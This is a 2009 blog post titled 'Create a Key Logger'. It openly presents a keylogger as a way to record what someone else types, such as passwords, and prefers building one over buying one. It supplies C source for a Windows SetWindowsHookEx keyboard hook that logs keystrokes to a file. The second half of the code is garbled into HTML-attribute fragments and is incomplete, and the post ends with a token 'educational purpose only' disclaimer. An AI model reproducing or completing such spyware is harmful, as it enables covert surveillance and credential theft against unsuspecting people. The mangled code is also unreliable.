Create a Key Logger

Posted by Agent X | Saturday, February 07, 2009 | | 0 comments »

What is a keylogger ?

it's a program that logs everything that you type on the keyboard.

what are it's usages to me?



well, if you want to record everytyhing someone types then you can then see anything you want like passwords and such.

how do i get one?

you can buy some corporate or home usage ones that are made for recording what employees are doing or what your kids are doing that is a bad method though since they are bloated, cost money since most people don't know how to find warez and it's better to make your own since you can make it do what you want to do.

ok, how do i do this?

you program one. if your new to programming then learn how to program in c then come back here.
if you know how to program in C then read on.

there are two ways of making a keylogger:

1. using the GetAsyncKeyState API. look at svchost.c.

2. Using the SetWindowsHookEx API. This is the prefered method but only works on NT based systems. The reason this way is prefered is because it is much more efficient that GetAsyncKeyState. See for yourself. No need to check if what character is being pressed and no need to check other stuff like the value -32767 is being returned. When you use the SetWindowsHookApi you "hook" the keyboard to that you can send all of the keys prssed to somewhere. When making a keylogger you usually send it to a file so that all of the keys will be logged there. The only disavantage of using this API if you could even call it a disadvantage is that you have to use have a DLL as well as your .exe file. I found a peice of code that doesn't need a DLL. Here it is with a slight modification from me so that you don't have to have the keylogger close before you can view the file with the logged keys in it:

code: */

// This code will only work if you have Windows NT or
// any later version installed, 2k and XP will work.

#define _WIN32_WINNT 0x0400
#include "windows.h"
#include "winuser.h"
#include "stdio.h"

// Global Hook handleHHOOK hKeyHook;

// This is the function that is "exported" from the
// execuatable like any function is exported from a
// DLL. It is the hook handler routine for low level
// keyboard events.

__declspec(dllexport) LRESULT CALLBACK KeyEvent (

int nCode,
// The hook codeWPARAM wParam,
// The window message (WM_KEYUP, WM_KEYDOWN, etc.)LPARAM lParam
// A pointer to a struct with information about the pressed key
) {
if ((nCode == HC_ACTION) && // HC_ACTION means we may process this event
((wParam == WM_SYSKEYDOWN) // Only react if either a system key ...
(wParam == WM_KEYDOWN))) // ... or a normal key have been pressed.
{
// This struct contains various information about
// the pressed key such as hardware scan code, virtual
// key code and further flags.

KBDLLHOOKSTRUCT hooked =
*((KBDLLHOOKSTRUCT*)lParam);

// dwMsg shall contain the information that would be stored
// in the usual lParam argument of a WM_KEYDOWN message.
// All information like hardware scan code and other flags
// are stored within one double word at different bit offsets.
// Refer to MSDN for further information:
//
// http://msdn.microsoft.com/library/en-us/winui/winui/
// windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp
//
// (Keystroke Messages)

DWORD dwMsg = 1;
dwMsg += hooked.scanCode << i =" GetKeyNameText(dwMsg," lpszname =" ']';" file="fopen(" hexe =" GetModuleHandle(NULL);" hexe =" LoadLibrary((LPCSTR)" hkeyhook =" SetWindowsHookEx" hthread =" CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)" style="font-weight: bold;">//This is for educational purpose only..Plz dont misuse it

0 comments

Post a Comment